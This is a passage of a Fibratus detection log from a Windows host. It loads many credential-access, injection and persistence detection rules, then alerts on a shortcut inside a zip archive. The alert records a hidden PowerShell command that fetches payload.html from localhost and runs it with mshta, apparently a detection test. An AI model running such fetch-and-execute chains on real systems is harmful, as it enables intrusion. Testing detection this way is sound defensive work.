EFC_8204_2775293581:1 EFC_8204_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\WinRAR;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-10T17:39:48+01:00 level=info msg=executing kill action: pids=[10216] rule=Suspicious HTML Application script execution source=rules/engine.go:294 +time=2025-12-10T17:41:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-10T17:41:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-10T17:41:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-10T17:45:02+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_suspicious_process_execution_from_archive_via_shortuct_file.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-10T17:45:02+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-10T17:45:02+01:00 level=info msg=bootstrapping with pid 16836. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-10T17:45:03+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true to=>[] content-type=>text/html enabled=>false port=>25] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ max-buffers=>36 enable-registry=>true enable-dns=>false stack-enrichment=>true enable-threadpool=>false enable-image=>true enable-thread=>true enable-handle=>false enable-mem=>false enable-vamap=>true flush-interval=>1s buffer-size=>512 enable-fileio=>true min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 level=>info formatter=>text max-backups=>15 log-stdout=>true max-size=>100] + output ......................... [ elasticsearch=>[ sniff=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] flush-period=>1s index-name=>fibratus healthcheck-timeout=>5s healthcheck=>true trace-log=>false healthcheck-interval=>10s bulk-workers=>1 timeout=>5s template-name=>fibratus enabled=>false] amqp=>[ exchange=>fibratus enabled=>false tls-insecure-skip-verify=>false passive=>false timeout=>5s exchange-type=>topic url=>amqp://localhost:5672 vhost=>/ delivery-mode=>transient durable=>false routing-key=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] http=>[ enable-gzip=>false enabled=>false method=>POST tls-insecure-skip-verify=>false endpoints=>[] serializer=>json timeout=>5s]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-files=>false skip-registry=>false fastscan=>true excluded-procs=>[] scan-timeout=>10s skip-allocs=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-10T17:45:03+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-10T17:45:05+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-10T17:45:19+01:00 level=info msg=sending alert: [Suspicious process execution from archive via shortuct file]. Text: Event(s): + Seq: 2134566 + Pid: 8204 + Tid: 4032 + Type: CreateFile + CPU: 0 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-12-10 17:45:17.4130251 +0100 CET + Params: attributes➜ ARCHIVE, create_disposition➜ CREATE, create_options➜ SEQUENTIAL_ONLY|SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE, file_object➜ ffffc9064a6aa170, file_path➜ C:\Users\nedo\AppData\Local\Temp\d969e3b2-a6cf-4ef1-aea7-3bc1f977e837_test.zip.837\test.lnk, irp➜ ffffc906555f6948, share_mask➜ READ|WRITE, status➜ Success, tid➜ 4032, type➜ File + Metadata: tactic.name: Execution, rule.seq.link: 13114482369379696640, rule.name: Suspicious process execution from archive via shortuct file, tactic.ref: https://attack.mitre.org/tactics/TA0002/, tactic.id: TA0002 + + Pid: 8204 + Ppid: 1672 + Name: explorer.exe + Cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\Explorer.EXE + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\Explorer.EXE] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8204_1262719628:1 EFC_8204_1592913036:1 EFC_8204_2283032206:1 EFC_8204_2775293581:1 EFC_8204_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 2137323 + Pid: 8204 + Tid: 4032 + Type: CreateProcess + CPU: 7 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-10 17:45:17.5283501 +0100 CET + Params: cmdline➜ "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -Command "Start-Process -WindowStyle Hidden mshta.exe $env:TEMP\payload.html"; Invoke-WebRequest -Uri 'http://localhost' -OutFile $env:TEMP\payload.html, directory_table_base➜ 43ac87000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe, exit_status➜ Success, flags➜ , kproc➜ ffffc90649aa7080, name➜ powershell.exe, pid➜ 16532, ppid➜ 8204, real_ppid➜ 8204, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-10 17:45:17.5282947 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0002/, rule.seq.link: 13114482369379696640, rule.name: Suspicious process execution from archive via shortuct file, tactic.id: TA0002, tactic.name: Execution + + Pid: 8204 + Ppid: 1672 + Name: explorer.exe + Cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\Explorer.EXE + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\Explorer.EXE] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8204_1262719628:1 EFC_8204_1592913036:1 EFC_8204_2283032206:1 EFC_8204_2775293581:1 EFC_8204_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program 